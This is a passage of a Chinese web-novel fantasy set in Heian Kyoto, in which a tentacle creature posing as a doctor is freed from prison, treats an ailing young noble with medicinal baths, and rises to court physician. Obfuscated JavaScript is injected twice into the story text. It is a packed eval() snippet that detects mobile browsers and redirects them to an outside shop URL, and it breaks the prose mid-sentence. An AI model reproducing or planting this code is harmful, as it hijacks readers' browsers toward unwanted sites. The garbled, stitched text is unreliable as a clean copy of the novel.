清空想了想:“别人送的。”他行医的时间很长,不止在平安京。这个理由倒也说得过去。 “你知道那是……” 清空只管摇头,装傻。他早就接受了几轮检查,身上是没有任何异常的。没有灵力、妖力、咒力之类的东西,也没有诅咒的痕迹。 只要不把他当场解剖,他这张人皮还是稳稳当当。 他老神在在,问什么答什么,态度也算真诚,乖巧得不行,却又让贺茂觉得诡异。 贺茂宪通想了许久,终于明白诡异的点在哪—— 清空这人,已经四天没吃东西了,可从他身上竟然看不到什么虚弱感。完全没有其他人被关四天的疲惫、不安。精神很足,说话也仍然充满条理。 他记得当时检非违使同差役们去抓清空的时候,居然会被清空挣脱。而且据同僚们说,当时清空的状态明显不对劲,体温很低,本来都没叫醒。 被关进大牢后的前两天,也是在昏昏欲睡。 符合月彦说的,正在生病。 又或者。 不是病,是半妖? 作为直接服侍天皇、处理神鬼之事的阴阳师,贺茂了解普通人并不了解的密辛。他知道,人和妖怪生下的半妖,会在一些特殊的日子——通常是月相相关——失去全部的妖力,成为纯粹的人类体质。 但清空身上并未发现任何妖力。而且,关押了四天,加上最开始樱花宴上见面,他都没有在这人身上发现异常。 调查出来的东西更是干净。 不管是被治疗过的贵族,还是清空所租的房屋周边的平民,还是月彦家里的仆役,都对医师的印象很好。 搜寻来的东西里面,有清空和自己老师通讯的信件,大都是关于药物、病人相关的见闻,十分正常。 他深深叹息。 看起来,确实只是一个意外。医生曾经救治别人,而后获得了一件妖邪的衣服,因为是普通人,并未发现异常。又将它赠与了月彦少爷。 他说:“你差点害了月彦。” 清空:“嗯……” 触手用脑子思考了一下。 “要死刑吗?”他问,“什么时候?” 砍头什么的会比较好,他觉得自己除了火刑都能接受,被烧烤很难装死。 他完全不带怕的,死了无非就换个皮囊,重新开始。哪怕他这个身份已经经营了十几年,又好不容易获得了平安京的房屋。 对于触手来说,寿命有数千年更多、接近无限。 十几年,就当一次过家家游戏失败——也没那么糟糕。清空觉得以人类的身份死去,是游戏到了结局,而不是失败。 总结经验,下次再来就行。至少他死因很明确,是触手服,而那些调制过的触手汁,没有被判断为有问题。 贺茂:“……” 这个人,完全不怕死的。 直觉令他格外警惕起来,觉得事情仍然没有结束。但他只能说:“不用死刑。产屋敷家向陛下求情,考虑到你先前行医救人,对邪物并不知情,检非违使那边也认为,死罪可以免。你应该感谢天皇陛下慈悲心。” 清空:“啊,谢谢。” “但你猎杀畜类……” 总之,死罪可免活罪难逃。 没收所有财产,这甚至包括他之前租的小屋子。 这下清空的余额清空了。 好消息是,别院毕竟还不是他的,所以没有被没收。考虑到他是医生,目前的药物也没有被没收。 他可以出狱了。 贺茂亲自送他出去。 重新见了天光,贺茂才忽然说:“我不认为你完全无辜。” 清空:“啊。” “你四天未进食,为何毫无异样?” “因为……我身体锻炼得比较好。而且我,经常吃补药。” “什么?” 虽然清空不知道,自己之前赚了多少钱,但他知道自己现在一分钱都无。于是格外认真地推销起来:“强身健体,滋阴补阳,吃了金.枪不倒,不会疲惫……” 贺茂:“……” 清空:“补剂,对人体很重要……” 贺茂想到上面同他交代的事,感觉有些疲惫,他微微躬身:“让一步说话。” …… 别院。 月彦躺在床上,蜷缩成一团。 冷。 很冷。 已经春天了,被子里塞了好几层棉褥,房间里燃着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374757|199239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暖炉——但他还是冷。 从骨头缝里往外渗的那种冷,怎么都捂不热。 和以前一样。 他闭上眼睛,想睡一会儿。但睡不着。这几天他几乎没能吃下东西。清空留下的药都被收走了,或许是他体内的药效过了,他是吃什么吐什么。 竟也不饿。 脸上的疼痛已经消失了,没留下什么痕迹。 可他并没有忘记。 他身体健康开始恶化之后,清空那边的调查也差不多结束了,并没有什么问题。父亲似乎又改了主意,决定将人捞出来。 不知是为了他,还是为了脸面。 这样一来,和贺茂家的关系……恐怕是无法交好了。 月彦把手按在小腹上。 印记还在。阴阳寮的人来给他检查过,身上是否残留什么诅咒。算是恭敬,并没有像清空这种庸医一样,上来就叫他脱衣服。 所以,他没有被人发现身上的这个小小印记。 月彦也没打算主动透露。 只要身体能被治好,他才懒得管这合不合规,正不正道。 可说实话,他不确定清空是否能活着出来。 月彦发现……不,不是发现,他此前就意识到了,只是现在才彻底感受到。 抛开疾病之后,他要面对的问题,很多。 他需要力量,权力,至少要能自保。 ……他会得到的。 月彦昏昏沉沉地想着。 门被推开。这两天他身边换了很多人,不知道是父亲安排的,还是其他人安插。月彦能感受到,那些监视的目光,羽织这件事恐怕还不会结束。 有些熟悉的脚步声传来。 月彦的呼吸顿了一瞬。 他猛地转过头。 门口站着一个人。 清空。 月彦张了张嘴,却没出声。 清空走进来。他身上的衣服还是那件深青色的直衣,但已经皱巴巴的,沾着灰尘。头发也乱了些,有几缕散落在额前。 监狱里面并没有打理自己的条件。 他走到床边,低头看月彦。 那双血红色的眼睛从上到下扫了一遍,然后停在他脸上。 “瘦了。”清空说,“才四天。” 月彦的喉咙发紧,唇角勾了个轻松的笑,嗓音沙哑地挤出来一句:“你看起来可真糟糕。” 清空在他床边坐下。 伸出手,碰了碰他的额头。 小少爷破天荒没有攻击他身上脏。 “在发热。” 月彦的嘴唇动了动:“发热……发热么,我有些冷。” 清空伸手,掀开被子。 月彦的身体露出来。就一件单薄的寝衣裹着他,好不容易养好了些,现在又瘦得能看见肋骨的轮廓了。皮肤是惨白的,没有血色,和第一次见面时一样。 “还好,只是普通风寒发热,不过你身体基础太差,容易出现肺炎。”清空松了口气,“目前不算严重。” “药被收走了。”月彦嗤了声,“那件衣服也被烧了。” 清空点点头:“我知道了,会给你开新药的。” “你……”月彦看着他,“你怎么出来的?” “他们查完了。”清空说,“没查出什么。就放了。” 月彦沉默着。 清空看着他,忽然说:“我看看。” 月彦愣了一下:“看什么?” 清空没回答。他只是伸出手,把月彦的寝衣往上撩了一点。 月彦的身体僵住了。 微凉的手贴在他小腹上,轻轻按了按。皮肤下面空空瘪瘪,好久没吃什么东西,肚子都凹下去了。 “我去做晚饭。”他说,又慢吞吞说了自己想做的事,“洗个澡再来。” 月彦赞同地点点头:“是该洗。” 清空:“印记,还在啊……” “我没让他们发现。”月彦挑起眉,“但你必须和我解释清楚。” “哦……” “现在别说,隔墙有耳。” 清空也发现了,别院里多了很多陌生人类。 他刻意压低声音,疑惑:“他们,以后就住在这里了吗?” “这是监视,笨蛋。”月彦不轻不重地骂了一声,“我看不止一批人安排的,倒是可以利用……” 其实已经入夜了,但清空感觉到,还有很多人醒着,在关注他们这里。 他有些为难。 “你不习惯吧?”月彦看着难得露出不爽表情的清空,眼底有些微妙的狠决,“呵,谁会喜欢这种被监视的生活呢……不过我已经有了解决的办法。” “那倒也不是。” “嗯?” 清空老实作答:“我以后还要给你治病的,我怕你晚上叫得太惨,他们又把我抓了。你要小声些。” 月彦:“……” 13. 第十三章 晚饭后,清空站起来收拾碗筷。 月彦靠在软枕上。 那些新来的仆从都被清空打发走了,面面相觑,最后还是退了出去。但月彦知道,他们没走远。 门外的走廊里,总有脚步声走来走去。 他听觉算是敏锐,多年疾病,令他容易神经紧张,有时一点风吹草动都能听见,惹他不悦。因此被赶走的仆役侍女,都数不过来。 “去浴室。”清空说。 月彦愣了一下:“现在?” “嗯。” 浴室里热气氤氲。已经备好了热水,是清空刚才吩咐人烧的。 月彦站在门口,没动。 清空把门关上。 然后他转过身,看着月彦。 “衣服脱了。”他说。 月彦的呼吸顿了一瞬,低下头,解开衣带。他身上肋骨隐隐可见,锁骨深陷,皮肤在热气里泛起一层薄薄的红。 水汽氤氲,把两个人都笼在里面。门外偶尔传来极轻的脚步声,但没有人推门进来。 这里隐秘而安静,水声可以掩盖说话声。 “那个衣服,”月彦忽然开口,“真的是邪物吗?” 清空想了想:“在我的认知里,不算。” 月彦凝视了他一会儿,进了浴桶。 热水漫过腰腹,烫得他轻轻吸了口气:“今天不喝药了么。”他难免想起上次在浴室做了什么,腿都有点软了。 “改了。”清空说,“我打算用药浴。” 月彦愣了一下:“药浴。” 清空没回答。他只是伸出手,把手探进水里。 月彦看着那只手沉入水面以下,指尖在搅动了几下,水面微微晃动,有什么东西从清空掌心处散开,半透明的,和水混在一起,看不出来。 “你在放什么?” “药。”清空说,“新配的,你是该到下个疗程了。” 被抓进牢里一次之后,清空觉得治疗进程得加快一些了。或许住在平安京之中并非好选择,离那些阴阳师距离太近,生活好像有些局限,而且食物来源也麻烦,总得去远处捕猎。 等治好了月彦他就可以有充足的时间考虑,是否离开。 他之前想着三个月,用温和的、调配好的药,慢慢把人养好,这样也没什么副作用。 三个月,换一个房子,划算。 但现在想想,他不一定需要这个院子了。 太麻烦。 那么原先的疗程就有些长了。用些更烈的方法,后面一次性把后遗症解决掉,起效更快。 月彦靠在浴桶上,闭上眼睛:“你真会那些厌胜之术吗?” 清空:“不会。” “那么我腹上的印记……” “不是一种东西。”清空顿了顿,“但其实也不好,我之后会为你去除。” 月彦轻飘飘地点头。他觉得清空还算识相。 水似乎开始变稠。 但又不是真的变稠,只是……仿佛每一滴水都变得更重了,压在他皮肤上,渗进毛孔里,顺着血液往下走。 月彦的呼吸开始变重。 他睁开眼,看见清空脸上的表情和平时一样平静。 而他的身体开始发热。热水从外到内的浸透了他,而他内部的热度久违地蔓到四肢百骸,就像是喝了药一样。 印记的位置,有些发烫。 像一颗全新的心脏埋在里面,微微地跳动着,把热意吸收,再吐出去。 不算太难受。 只是被人观察着,很奇怪。 月彦劝说自己,这只是正常的治疗。 一时间,他觉得,这比喝药再排毒的疗法好多了,泡在温热的水中,什么都不用做,也不辛苦。 “在狱里的感受怎么样?”他问。 “还行,但饭很难吃。”清空叹息,“我好饿。” 回家看见连厨房东西都空空荡荡,触手感到绝望。 如果住在这种吃饭吃不好的地方,他的触生将再也没有美好。他真的不懂为什么这些城市化的人类会禁止别人吃那些猎物,他在村里行医的时候,可没这些规矩。 “你就知道吃。” 清空第一次用有些可怜的目光看向月彦。 人类哪里会懂肉食触手的命苦。 月彦看着他,忽然问:“那些肉食实在是太多了,你到底拿这些肉做什么?” “吃。” “自己吃?” “是啊。”清空回答得很干脆,“我是饭桶。总是怎么也吃不饱。” 虽然这听起来实在是像嘲讽或反讽,但月彦发现清空是认真的。 “……” 吃这么多也不显肉,怪。 不过他已经听说了清空睡着的时候像是死了一样,这家伙似乎和他一样,出生就异于常人。 他心下好奇。 “院子里来了不少人,今晚你留在我房间服侍我,我要和你聊聊。” 清空:“行。我想要钱。” 月彦:“……” 最直白。 但他不生气,反而欣喜起来。清空这人最麻烦的地方就是没有弱点可以拿捏,现在被抄家穷得不行,正巧他略有些钱。 …… 月彦本以为药浴是很简单的治疗。 泡在热水里,什么都不用做,身体自己就暖起来了。热意从印记的地方往外蔓延,顺着血管流向四肢,把那些纠缠了他十几年的寒气一点一点地往外推。他仍然靠在桶壁上,昏昏沉沉地听着清空在耳边说话,觉得这大概是清空手底下的最不折磨人的疗法了。 他甚至在水里泡得有些犯困,眼皮越来越沉。 直到清空说:“差不多了。” 月彦睁开眼,懒洋洋地动了动肩膀,泡久了之后浑身发酥。他撑着桶沿想站起来,清空伸手扶了他一把。 跨出浴桶的瞬间,冷空气贴上湿漉漉的皮肤。 月彦打了个寒噤。 清空把毛巾递过来。 不过锦衣玉食的小少爷并不愿意自力更生,清空只好帮忙。 毛巾轻轻擦拭过月彦的小臂。 月彦身上难得不是彻底的苍白了,整个人被泡得有了血色,小臂上也是粉的。脸上虽然没浸水,却被热度蒸得出了一层薄汗,加上蒸汽,湿淋淋的,连纤长的睫毛上都好似要滴着水。 被毛巾碰到的一瞬间,他倏地一抖。 疼。 酸胀的、像是皮肤底下有什么东西在往外拱的疼,钝钝地在血管里炸开。毛巾擦过的地方,每一寸皮肤都在发烫,像被火烧过一样。疼完了,就是痒。 他大脑都空白了一瞬。 又一下。 清空真没什么照顾人的经验,也不会理解贵族们为什么娇气,他开始帮月彦擦拭后背。 月彦咬着嘴唇,没说话。他低头看自己的手臂——皮肤上没有任何伤痕,看不出任何异常。可是莫名的感觉还在从皮下往外渗,又热又胀。每一下触碰都刺激极了,可不碰,身上的痒意又几乎让人发狂。 “嘶——” 后背…… 他恍惚起来,下意识想要隐忍。 可不知怎的,想起清空说的话,最终低声道:“我不太舒服。” “哪里?” “身上疼,毛巾碰到的地方……疼过了之后,还有些……痒。” 细密的,针扎般的感觉。 “是正常的,这说明你身体在好转。”清空认真道,“药在进入你的血肉。” 月彦几乎没精力去听他说什么了。 清空用最快的时间把他擦干,所以他现在竟是哪哪都有感觉,一下子把他的感官弄得超负荷了。 穿上寝衣的一瞬间,柔软的丝绸贴在他身上,也疼得受不了。月彦咬着牙,把寝衣往下拉。衣料滑过胸口,滑过腰腹,每一下都像是有什么东西在刮他的皮肤。 他终于是忍不了了。 弓下腰,想要躲避这过于强烈的痛痒,可衣服穿在身上,人怎么能躲开身上每一寸的接触? “药效渗透,皮肤会比平时敏锐。忍一忍。”清空又伸手帮忙,“已经穿好了。” 月彦没说话。 清空:“走吧。”他半搀扶半抱地推月彦出去,没忘记留下一小根触手,解决掉药浴的液体。 他现在很谨慎了,等触肢处理完,也会融化在水中,什么都不留下。 一步。两步。 衣摆摩擦着大腿,袖口摩擦着手臂,领口摩擦着脖颈。每走一步,那些布料就在他身上蹭一下,蹭得他浑身发麻,腿更软了。 走到门口的时候,他已经出了一身汗。 澡白洗了。 手搭上门框,冰凉的触感贴上掌心——连门框都觉得刺。 而外面……有人。 走廊里那些新来的仆从,那些不知道是谁派来的眼睛和耳朵,似乎都在观察他,在看着他。 连视线扎在身上,都有感觉。 清空看他走路都费劲的样子,问:“要不要我抱你回去?或者让仆从……” 说完,清空骤然想起来,因为他被抓,熟悉的仆从都被追责了。 他是出来了,可那些普通的、比普通人更加低一级的奴籍人类,不知道怎么样了。 “我自己能走。”月彦咬着牙。 “那就好。”清空松了手,“从明天开始,每天都得泡半个时辰呢。” “……” …… 清空制定的新疗程是:朝食前后,随便月彦做什么。他也需要时间做自己的事。 夕食——也就是晚餐时间稍稍提前。饭后抽一个时辰进行简单的运动,半个时辰药浴,半个时辰按摩放松。* 结束后差不多就该睡觉了。 当下的贵族们一日二食,只分朝夕,清空对此没什么意见,但卯时梳洗过后,他会让月彦吃点东西,喝一碗药汤。朝食和夕食之间,也会让他吃些东西。 月彦饭量很小,少食多餐更能把身体养好。就和养兔子一样。 非常完善的一天。 并没有考虑到月彦少爷的死活。 泡完药浴后的第二天,月彦也浑身不适,找了最柔软的布料穿在身上,依然有些难以忍受。 不仅如此,嗅觉,味觉也敏锐了。 清空不得不减少了食物中的盐分与辛辣调料。 在这种情况下,他还要进行一个时辰的运动——哪怕第一天只是散步。 没有羽织的辅助,他的双腿仍然无力,身体上有多处不适,仿佛每一处的骨头都各走各的。 清空却说这不是骨头问题,是肌肉。 月彦不知道他在说什么。 他只知道这把他折磨得够呛。运动完又要泡那种药,身体变得比前一天还要……难受。 清空按摩技术倒是很好,只是每每他都昏迷过去。 在他人面前入睡,月彦是习惯的。他从小都有无数侍从,又是时不时出状况的病人,贴身服侍一整夜的情况非常多。 可在清空这个医生面前,他又觉得放下一切入睡,有些说不出来的难受。 特别是,他睡着了,清空也会继续工作,帮他按摩拉伸半个时辰。 把他摆弄来摆弄去。 若非起效极快,三天后他身上就多了很多力气,走路也不会磕磕绊绊了,月彦才不会忍受这种治疗。 只要能治好,每日的折磨,可以接受。 排毒什么的,也可以接受。 他现在喝的药只有早上一碗了,但身上却没什么冷意,清空说这是将大部分的药都改作了药浴,药量其实比原来大多了,所以需要日日排毒。 月彦竟也习惯了。 治疗外的其他时间,他大抵是读读书,偶尔还有客来访。 大部分贵族都会得一个朝廷中的闲职然而月彦此前身体过于病弱,即使已经成年,却连挂名的闲职都没有,简直是门楣的耻辱——族中长辈是这样认为的。 他家早已有子弟在朝中任职,甚至有并非闲职的。 月彦的心思活泛起来。 人向前看,有计划做什么事的时候,总是会看起来更有活力些,身上有股精气神儿吊着。 比起他,清空反而有些微妙的萎靡,这些天都没有继续打理院子了。 前些天抄家那次,把别院里的东西都糟蹋了一遍,地窖里的肉自然是“天皇陛下心善,埋了”。饲养的小动物们倒是没有被收走,但那一窝兔子,活生生被吓死了大半。 兔子本身就是容易暴毙的生物。 清空并没有将死物复活的能力。他知道,死了的东西,就没有了。 微微有些惋惜。 加上院子里的人多起来,一天到晚都有人醒着,看着,他没有办法出去捕猎了。 每天只能吃点集市上买的生鱼,就这样,还被人抓住,询问饭量为什么这么大——看守的人不太方便打扰月彦这个贵族,却可以随便来打扰他。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17379258|199239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>清空可以催眠别人,蒙混过关。 但院子里的这些人互相认识,和院子外面的人时时有联系,催眠一次,再一次,一天又一天,每天都有麻烦。他不喜欢这样的生活。 月彦都察觉到了他的烦躁。 小少爷信誓旦旦,一脸运筹帷幄:“很快就会解决。” 清空饿得有点不行了。 他沉沉看向月彦,小少爷这边,他们不方便贴身监视。于是他问:“我可以在你房间吃晚饭吗?” 月彦心想这是什么问题? 不过他还是一副不满的样子,左右数落了几句,看见清空的表情逐渐萎靡下去,才纾尊降贵地点头:“可以。我正好也有事要和你聊。” 是夜,清空从池塘里叼了两条锦鲤上来。 想了想,还是把鱼杀了,去了鳞片,切了切,才提着一盒肉,来到月彦房间。 月彦:“……” 好重的鱼腥味儿。 他看着清空生吃鱼肉——不是精细切好的那种鱼脍,是大块大块的生吃,还带着骨头。月彦有些欲言又止了。 他是没怎么见过清空和别人一起吃饭,没想到……竟然是异食癖。 两条锦鲤都很肥,生前漂亮得很,是别人来探望他送的礼物。死后倒是和别的鱼差不多,还更难吃些。清空努力嚼嚼嚼,仍然觉得人类的牙齿太过弱小,啃得不方便。 月彦用手帕捂住唇,有些看不下去清空这副生吃鱼肉的模样了。 转念一想,清空这是难得向他暴露了一些自己的秘密。 原先清空也算是名声很好的医生,前途似锦,被抓进牢里一次以后,估计也没别的贵族愿意找他看病了。还被抄了家,所有的积蓄都付之东流。 清空离开他这里,还有什么地方可以去呢? 连住的地方都没有。 他眼神闪烁,忽得问:“你是不是很会下毒?” 清空:“嗯……是。” 小少爷真是一如既往的聪明呢。 “杀过人吗?” “嗯。”清空把鱼肉咽下去,喝了水,将食盒盖上压住鱼腥味,看着又是很老实的一个年轻人了,异常乖巧温顺,“问这个做什么,要让我坐牢吗?” 月彦:“不。”他眼里闪烁的光更强烈了。 非常好。月彦心想,他就知道清空是干过这种事的人。 “我要你帮我杀几个人。” 清空歪了歪头:“普通人类?” 月彦挑起眉:“是。怎么,你不愿意么。你现在是,也只能和我绑在一起。” “不要。”清空摇头,十分不理解人类,“你有病吗?” 是有病。他思考了一下,重新问:“请问,您的大脑是有病吗?” 月彦气极。 反笑:“你要多少钱?要什么,直说便是。” 清空:“我是医生。” “你杀过人。” “那是没当医生的时候。而且,我一直无法理解你们,杀来杀去的。” 月彦在心中告诉自己,这是野人,超级大野人,他压下心中的不悦,和颜悦色:“你不知道,他们也想杀了我们。你看,院子里仍然有那么多人监视。有人依然不信你。若是你想要证明自己的清白,那么我可以说,这毫无用处。” “他们想要我死,而你,是否真的会厌胜之术,是否为巫医,都没那么重要。”月彦问他,“你既然杀过人,难道从未感受过他人对你的恶意?” 清空其实觉得,小少爷对他人的恶意比较大。 “有感受过。怎么了?” “你不想反击?不想解决这一切?”形状优美的薄唇中,吐出恶毒的话语,“我们只是想要平静的生活,不是吗?” “不一样吧。”清空还是很理智的,“其他人类对我抱有恶意,这很正常啊。” 他舔舔唇。 还是饿啊,就这两条鱼,他塞牙缝都差不多。 好想吃肉啊。 活生生的小少爷正在他面前,一副被气到要厥过去的样子。嘴里叽里咕噜的,在说他软弱、无能、活该蹲大牢之类的话。 清空心想,作为触手,他确实非常柔软,相比较父母事业和强度,他也是足够无能,蹲大牢就算了,牢饭难吃。 小少爷闻起来倒是很好吃。 他大抵是饿狠了,药浴的时候,按摩的时候,都能嗅到来自月彦身上的气味。像是幻觉,又像是真实存在。 清空虽然没吃过,但了解自己家的祖传食谱。 所以他更加觉得自己是饿疯了,哪有人时不时就翻涌着情与欲的。 月彦的话语到了尽头,飘过一句:“你真的是人吗?” “不是吧。” “……我看你是吃生肉吃傻了。”月彦想到什么,表情微妙,“你该不会吃过米肉吧?” 清空思考了一会儿米肉是什么。他没吃过人类。 “你身上,闻起来确实很好吃。”他认真道,“活的,更好吃。” 月彦面色剧变。 清空倏然靠近。 他下意识想往后退,可房间里哪有什么退路,只跌坐在床褥上。清空的脸近在咫尺,红色的眼睛在烛光下显得格外幽深。 他俯下身,鼻尖几乎要碰到月彦的脖颈。 月彦的身体僵住了。 恐惧。 他不知道上次感受这样强烈的恐惧是什么时候了,是要病死的时候吗?他大脑一片混乱,想要逃跑,可身体却像是早就习惯了清空的存在,任由人靠近。 任由微凉的气息落在他的脖颈上。 他的心跳快得像是要从胸腔里蹦出来,血液在血管里横冲直撞,把那股药浴带来的热意又勾了出来。 清空在他颈侧停留了一瞬。 鼻尖轻轻擦过皮肤,像是在确认什么。月彦感觉到清空的呼吸,很轻,很稳,和他自己急促的喘息完全不同。 要,要做什么? 他确信自己在清空眼睛里看见了饥饿。 他伸手抓住了清空的肩膀,用力地推,微微仰起了头,像是要逃跑,可只是把那截苍白的脖颈更多地暴露在清空面前。 宛若一株无法违背本能的、无法抗拒阳光的藤蔓,不由自主地依附过去。 他头皮发麻,不知道过去多久。 想象中的触感并没有到来。 清空只是嗅了嗅,就远离开去,坐在床边,看着被吓坏的月彦。 他神情恹恹:“好饿啊。” 14. 第十四章 清空坐在床边,看着月彦。 月彦还没从刚才的恐惧中缓过来。半靠在床褥上,一只手还攥着被单,指节泛白。 前面说要杀人的时候,他像一条盘踞在泥沼中的毒蛇。 可现在,不过是一株被从依附之物上强行扯下来,掷在地上的瘦藤,连再度攀上来,都做不到。 或许是惊吓,又或许是自觉受到了屈辱,他脸上渐渐涌上一层薄红,一路蔓延到耳尖,又顺着脖颈往下,没入衣领。 而且,还发抖。 清空的目光从他脸上移开,往下扫了一眼。寝衣的领口歪了,露出锁骨和一小片胸口。那上面的皮肤也是红的。 月彦注意到他的视线,猛地拉紧衣领。 “看什么。”声音沙哑,带着一点恼怒。 可他眼睛其实湿漉漉的,像是被水浸透的琉璃。 “你很害怕。”清空说。 月彦一时半会儿没说话。 “对不起。” 月彦的呼吸顿了一瞬:“我没害怕。” 他心想,清空发什么疯?但他又不愿再回想刚才的一切,只好生硬地跳过这个话题,重新整理了自己的呼吸:“我是认真的,你没什么地方可去了,依附于我的家族,我本人,对你来说不是什么坏事。” 清空歪了歪头,像是在思考什么。 月彦对人的情绪其实非常敏锐,特别是负面情绪。而清空几乎没有在他面前流露过自己真正的想法,除了这几天。 清空对仆从很好,改造院子,养鱼养畜,他全都知道。很明显,这个医生对治好他志在必得,并且已经提前将这个院子纳入了自己的财产。而现在,清空倏然对这里的一切,完全失了热情——明明投入了那么多。 他很了解这种行为的原因。 清空怕是想要离开这里了,有医术傍身,以前也是行脚医人。同他老师一样再度踏上旅程,很正常。 他觉得,放清空走,实在是有些可惜。 这人医术好,下毒估计也强,足够漠然,绝对能帮上他很多忙—— 可月彦想不通,为什么清空拒绝了他。 “我绝对,会是你值得依附的人。” “你今晚就睡在这里。”他偏过头,“可以好好想想。” 清空缓缓眨了一下眼睛。 真是完全不理解人类的行为和想法。 …… 这事不了了之。 清空不愿意帮月彦杀人,只愿意治疗。 几日过去。 清空照例在卯时把月彦叫起来,梳洗,喝药。 月彦坐在床边,看着清空收拾。他不禁开始思考,自己似乎从来没有见过清空疲惫、困倦的时候,真奇怪,哪怕他好几次让清空留在他房间里。 他见不到清空睡着,也见不到清空起床。 “你今天又要出去?”月彦问。 清空要出门是很明显的,会把自己倒腾得人模狗样些,不会随便穿点衣服就干活。 “嗯。”清空把碗叠起来,“有病人。” 月彦的眉头皱起来。 这几天清空每天都要出门。早上出去,下午回来,有时候傍晚才回。回来之后匆匆准备药浴,给他按摩。 月彦知道清空在给别人治病,毕竟没钱了,需要挣钱。 但他没想到,会有……那么多的人。 仿佛先前的牢狱之灾,完全没有给清空带来任何影响。反而还多了不少客户。 月彦打听过。然而那些病人都是权贵,治病是非常隐私的内容。清空每每也是独身一人过去,再回来。并不会和他聊具体有什么。 以前……是聊过的。 月彦能感觉到自己身体愈发健康了,或许很快,不需要药也不需要羽织,他就能和正常的青少年一样,独自出行,入朝为官。清空也不限制他运动多少,不再强迫他饭后动一个时辰。月彦自己挑时间走走即可。 院子里监视的人已经少了很多,其中不乏他的努力。 下午。 月彦正在院子里散步,见一辆牛车停在门口。 车上下来一个人,穿着深色的直衣,神情恭敬。他走到清空面前,躬身行礼,说了几句话。月彦没听清说了什么,只看见清空点点头,上了那辆车。 月彦站在廊下,看着那辆车消失在巷子尽头。 “葵。”他喊了一声。 原先的侍女又被调了回来,快步走过来:“少爷有何吩咐?” “刚才那个人是谁?” 葵低着头:“回少爷,是典药寮的人。” 月彦的瞳孔微微收缩:“典药寮?” “是。”葵的声音很轻,“天皇陛下召清空大人入宫,说是……要让他进典药寮。” 月彦站在那里,一动不动。 那是御医的机构,最顶尖的医师才能进入的地方。他远远一瞥,认得车厢上的纹路和皇家有关,只是没想到,竟是典药寮。 “好。很好啊。”他忽得笑起来。 他竟会觉得清空只能攀附他了。 都进典药寮了,而他却还在为自己的一官半职谋划。 是夜。 清空回来,看见月彦没有像往常那样穿着素色的寝衣或简便的常服,而是端坐在镜台前,脊背挺得笔直。 他穿了件深灰色的直衣,剪裁合身,完美地贴合了他如今已不再过分嶙峋、显露出几分少年人应有轮廓的身形。腰间束着条浓紫色的锦带,将腰线收束得利落。 束了发,头上戴了顶立乌帽子,手中一柄折扇。 整个人有点近乎刻板的矜持与疏离感。 清空:“你要出门吗?” 月彦颔首:“自然,今日药浴延迟至明日即可。清空大人整日忙碌,不劳烦您等我了。” 清空:“……” 叽里呱啦说什么呢。 他慢一拍地反应过来:“你有工作啦?” 月彦:“……” “恭喜呀。”清空难得露出一个笑,“马上就痊愈了。” 月彦的脸上却骤然转了阴雨,不再同清空说话,等侍从安排了车马,便挺直了脊背,在黄昏中离开了。 清空心想他还是上夜班嘞。 他叫住了葵:“这是去做什么工作?” 葵自然是摇头:“具体不知,少爷是去藤原家的宴。” 理论上来说,她这个贴身侍女,不应该告诉清空月彦的行踪。但月彦在或不在的时候,清空都是这个地方实际上的所有者,优先听他的命令总没错。 “挺好的。”清空真情实感地高兴,“下周,他应该就彻底痊愈了。” 葵:“大人医术高明。” 最开始搬进来时,那几个仆从,只剩下葵一个人了。有那么一瞬间,清空想问她,其他人去哪了。 到底是没问。 清空这几日确实忙得很。 上下左右地忙着给人治病,挺多人压根没病,也一并囫囵治了。 卖保健触手汁嘛。 他本想离开,可月彦说的那些话提醒了他。 触手服被发现死刑,那是游戏正常结档。他没有意见。 可只是因为这场游戏有些不顺心,令他觉得麻烦,就不继续下去,这就是他主动弃坑了。 甚至可以说是逃避。 清空仔细一想,没必要走。 他有的是力气和手段,催眠和触手汁。 双管齐下,他用最快的速度成为了御医,多了一份工资,但需要上朝,每日工作量增加了。 工作内容大抵是给人滋阴补阳美容养颜,这个清空很熟练,只需要一点触手汁。 他的晋升和提拔实在是不合规矩。一跃成为平安京中的红人,似乎引来了很多的关注,也有人贺喜他高升、脱离平民阶层,但清空无所谓。 人类于他而言,并无本质区别。 除了…… 那些真的有灵力的阴阳师。 清空这些天观察了一下,并不是所有的阴阳师都有实力,有人似乎只是领一份工作前,每天稀里糊涂占卜一下,办办仪式。 也有观察天文,编排历法,做做风水、祭祀之类工作的。 只有部分人,真的有灵力,会驱邪。驱使咒力、研究诅咒的咒术师,大部分在阴阳寮里工作,称为咒禁道。除此之外还有些巫女、僧侣、祓魔师、除妖师的职业…… 他观察了一下,大部分都很弱,是无法看出他人皮之下为何物的。 清空渐渐放了心。 …… 清空并不知道,此刻阴阳寮、检非违使那边,正十分苦恼。 他们直觉清空用的药可能有问题。 毕竟权贵、天皇及宫内众人都想用,他们和典药寮一起,进行了事无巨细的检查。 还真就……没问题。 药是正常的药,药性很弱,确实是有点强身健体的功效,不成瘾也没什么副作用。总的来说,吃了不碍事。 还挺好喝。 给权贵治疗,自然是有不少人盯着,也完全没发现毛病。 清空这人,除了礼仪差点,完全是个正常医生。 礼仪差也符合他乡野的出生。 找不出问题,又实在是令人憋屈。 关于清空,卜卦的结果并不好。接触多了,也会觉得这人十分古怪,微妙的、说不上来查不 